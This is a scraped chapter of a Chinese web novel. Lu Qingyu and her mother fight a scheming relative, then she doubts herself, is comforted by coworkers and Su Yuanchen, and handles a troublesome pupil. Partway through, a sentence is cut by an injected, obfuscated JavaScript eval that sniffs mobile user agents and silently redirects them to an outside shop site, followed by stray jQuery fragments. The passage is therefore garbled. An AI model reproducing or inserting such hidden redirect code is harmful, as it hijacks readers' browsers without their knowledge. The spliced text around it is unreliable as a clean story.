72. 十分委屈
    乔彩霞没想到被周素莲打了,发起横来,扑上去撕扯周素莲。

    周素莲就像是护崽的雌狮,毫不畏惧地伸出爪牙,拼命还击。

    人群纷纷让开:“打起来了!”

    陆青予冲进去加入战场,两母女总比乔彩霞一个人强。

    陆伟也想冲进战局,被陆红红一根扫帚拦住了。“别想过去!你要敢打我,整条街都会收拾你!”

    陆红红作为桂花街上最可爱的小姑娘,嘴巴又甜,不少叔伯大婶都喜欢她。

    一个大汉当场出声:“女人干架,作男人的出手试试?”

    陆青予第一次打架,没有章法,她的头发被抓住了,只有逮着对方的软肉使劲掐,使劲拧,再把脸尽量保护好。

    两母女占了上风,街坊大婶终于来帮着劝架了。一群人上前,把三个人分开拉起来。

    乔彩霞来闹事没有占到一点便宜,她本来以为只有陆青予战斗力强,一对一没问题。没想到周素莲转了性子,比陆青予还难缠。

    她现在蓬头垢面脸上带血,身上被陆青予拧得到处都痛,还没法检查。

    两母女也没好到哪里去,陆青予的衣服都撕破了。周素莲紧紧抱着她,遮挡着。

    陆伟终于和亲妈团聚,乔彩霞抱着儿子浑身发抖。

    两母子占不了便宜只有高声喊着:“陆开明,我们家和你一刀两断,再也不做亲戚!我们走!”

    “谁想和你们做亲戚,吸血的亲戚!”陆青予说的是实话。

    陆金、陆伟吸着陆巡的血、陆开明的血在工坊逍遥快活。一家子吸着陆小小的血吃吃喝喝。

    他们妄图再来吸陆青予的血,没那么简单。吸进去的,必然全部吐出来。

    乔彩霞一瘸一拐地扶着儿子离开,街坊邻居爆发出一阵掌声。好瓜,好爽,好厉害的陆家姑娘。

    胆大清正的人家悄悄议论,这样的姑娘娶回家才是真的好。

    人群散去,母女三人回到家。陆红红一溜烟跑到后院给老爷子报信去了,把妈妈和姐姐的丰功伟绩加油添醋地讲了一遍。

    老爷子听得高兴,大喝一声好,激动得手脚更痛了。

    周素莲清醒过来,开始后悔。今天这一闹,陆青予真成老姑娘了。

    陆青予回到房间,换了衣服对着镜子整理。镜中的她眉眼还是原来的样子,但是气质和去年有了明显不同。

    因着她的改变,整个陆家也在改变。这样的改变到底是好是坏?

    乔彩霞有一句话说得没错,自从她来了以后,走到哪里,纷争就到哪里。确实有人因为她倒了霉、破了财。工坊四分五裂,就连一向不争不抢的周素莲都为她打架受了伤。

    她确实……像个丧门星。

    镜中的陆青予与冉青重合起来。冉青,如果你从来没有来过,是不是这些人就不会因为你而受伤?工坊里的人是不是其乐融融、相亲相爱?

    冉青,你所知道的、坚持的,在这个时代是不是不合时宜?

    你应该随波逐流,就这样湮灭在人群中,成为一个普通的80年代的女人。

    丢掉真我,怀揣着孤独的、愤世的小我,卑微地活着。

    眼泪就这么不经意地滴落,陆青予一惊,用手背快速擦掉。这算什么挫折,不过是打了一架而已,没什么了不起。

    就算全世界都打击我,我也要笑着面对。

    陆青予就这样带着豪迈的心思,再次回到工坊。

    陆伟离职了,接着是乔万里。

    这个年代,有工作的人鲜少离职。找一份工作非常不容易,不少街道登记在册的待业青年都有好几页。

    车间里弥漫着一股沉闷的氛围,少了很多欢声笑语。

    彭城在办公室窗口居高临下地看着两个车间,拿起了香烟,一根接着一根。

    曾来就像个怨妇,他走过来,低头对在做台灯的陆青予说:“这下你高兴了吧!”

    “你滚开!”殷丽就在陆青予旁边,她现在高度紧张。

    “她就是个扫把星!我说的是事实。”曾来说完就走了。

    殷丽举起拳头挥舞:“滚吧你!”

    “别理他,他就是心理不平衡!”邓思诗走过来对陆青予说道。

    陆青予整理了下情绪,尽量挤出一个笑容:“我没事!”

    露出来的脸上,有几道指甲抓伤。

    “哟,你这张脸怎么了?”殷丽过来捧着她的脸蛋。“看起来也不像摔的啊!”

    “哦!树枝,树枝刮伤的。”陆青予扭过头。

    邓思诗拉着陆青予的手:“青予,你有困难,可以对我们说。我们是同事,更是姐妹。”

    “说得对!”殷丽把陆青予的脑袋摁进自己怀里。

    陆青予透过丽姐的胳膊看着地板,丽姐的怀抱很温暖、很有力量。

    “嗯!”陆青予轻轻答应了。

    周三送老爷子就医,周四定档评级考核,周五和乔彩霞打架,周六忙着补前几天的工作。

    周日的早晨,陆青予根本起不来。这一周就像是过了一年,太多的意外和麻烦了,劳心又劳力。

    她准备直接睡到开课前,随便吃点去上课。但是某人显然不是这么想的。

    梦里她正在数钱呢!就听见窗外陆红红叽叽喳喳的说话声,周素莲的客套声,还有苏远宸的笑声。

    她没想明白苏远宸为什么又来了。

    陆红红已经扑进了房间:“姐姐,苏哥哥来了,带了凤来朝的鸭子!还有绿豆糕、麻糖。快起来吃东西啦!”

    陆青予被陆红红拽起床,她只有整理下仪表,换了件半新的衬衣走出来。

    苏远宸满脸笑容:“青予,我来看陆师傅,顺便蹭饭,下午一起去上课吧。”

    “……”

    陆青予觉得脑袋疼,不想说话。

    她不说话,其他人话很多。

    老爷子在床上躺了三天,正愁没人陪他说话。非常愉悦地邀请苏远宸在他房间边吃边聊,看到苏远宸带来的凤来朝的麻鸭屁股,直喊上道!

    在陆开明房间听了一遍工坊考核当天的故事,又听陆红红讲了一遍亲亲好姐姐的打架过程。苏远宸眼神都不一样了。

    陆青予低下头吃饭啃鸭脖,鸭脖子真香。

    去文化馆上课的路上,苏远宸竖起大拇指:“不错,真不错!”

    “你真觉得好?我把工坊搅乱了,不算做错事吗?”陆青予辨不清这人的真假。

    “真的!”苏远宸给她一个肯定的答复。“你只是在保护自己的家人而已,你根本没做错!”

    八级工是爷爷的,梅瓶是父亲的,是他们用了恶毒的手段。保护爷爷、保护父亲、保护妈妈和妹妹,是陆青予应该做的。

    就算有些过激,依然值得赞赏。

    “你的家人应该会觉得很光荣!”苏远宸补充道。

    “可是很多人都在说我的坏话。”陆青予还是闷闷不乐。

    苏远宸笑了:“人无完人,你不可能要求每个人都觉得你好,认可你的做法。”

    是啊,要坚守正道,必然得罪小人。

    “谢谢你带来的鸭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996767|140740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子,我家里人都很喜欢。”陆青予温柔地说道。

    “那上次你说请你吃饭这事儿,就算完成了啊!”苏远宸点点下巴。

    小气鬼!陆青予腹诽着:“那还真是谢谢你。下次还是我请吧,感谢你帮忙守夜,还把爷爷送回家。你家里人没说什么吧!”

    苏远宸一下就愁眉苦脸了:“说了啊!我爸嫌我帮少了,我妈嫌我帮太多。”

    这么极端?“怎么说?”

    苏远宸笑笑:“我对他们说我下乡帮困难群众解决问题了。我爸的意思是让我帮忙帮到底,不要急着回来。我妈说单位压榨我,让我适当拒绝。

    现在他们等着看我的稿子。过几天我得下乡一趟,做个采访凑数才行了。哎!”

    困难群众陆青予抱起双拳:“感谢苏领导帮忙。”

    “没事,革命同志就应该互相帮助。”苏远宸笑了。

    陆青予转头望向窗外。公交车正经过和平电影院,这时的新海报换成了《垂帘听政》《阴阳错》《我爱夜来香》。合资拍片、港片正在流行。整个时代悄然发生着变化。

    教室里只有电风扇,学生们光坐着就已经汗流浃背了。年纪小一点的孩子上课完全坐不住。

    一个叫林天浩的9岁小男孩不停请假去厕所,这次一去就是十分钟。

    陆青予没办法,只有找云芳芳帮忙在讲台看着,自己去厕所找人。

    厕所门口站着个小姑娘,和陆红红差不多的个头大小,梳着两条麻花辫、低着头靠着墙,十分羞涩。

    “小姑娘,你刚才有没有看到一个小男孩进厕所?”陆青予问道。

    小姑娘露出惊慌的神色,摇摇头又点点头。

    “林天浩,你快出来。”陆青予对着厕所吼道。

    “……”

    “再不出来,我进去了。”

    “我在男厕所,你不能进来。”林天浩的声音响起。

    “我可不怕什么男厕所,你最好快点出来。”陆青予威胁道:“你爹妈再三和我说,要把你盯紧点儿,让你在绘画班磨磨心性。你再不出来,今天我肯定告诉你妈,看你回去挨不挨板子。”

    “……”

    “那我进来了!”陆青予捏起鼻子,准备冲进男厕所。

    “天浩,快出来吧,老师真的要进去了。”小姑娘着急喊道。

    哟,还是认识的,陆青予心想。

    林天浩磨磨蹭蹭从厕所里出来,拿着一本连环画甩到小姑娘的身上,顺手推了她一把:“就你多嘴。”

    “小东西,还敢打人!”陆青予一手捏住林天浩的手腕,手下用劲。

    小家伙9岁,长得十分敦实,手上劲挺大,充分体现了家里经济条件挺好。

    “哎呀,姐姐,你怎么看着。老师打人了!”林天浩开始吼叫着。

    小姑娘拉着陆青予另外一只手可怜巴巴地说:“老师,别打我弟弟。你要打就打我吧!是我把连环画给他看的,是我把他叫出来的。”

    “对,都是我姐坏,我最守规矩了。老师放手,放手!”

    “我才不管前面谁拿的书,我只知道现在是你推人。”陆青予只相信自己的眼睛。

    “老师,我弟弟没有推我,是我自己没站稳!是我不小心,我弟弟没有推我,老师别动手。”小姑娘整个身体都在拽陆青予的胳膊,劲儿还不小。

    听到这话,陆青予真是刷新了三观。这,这就是现在的姐弟?

    弟弟错了是姐姐的问题?

    陆青予想起了另一对姐弟,难道陆小小也是这么长大的吗?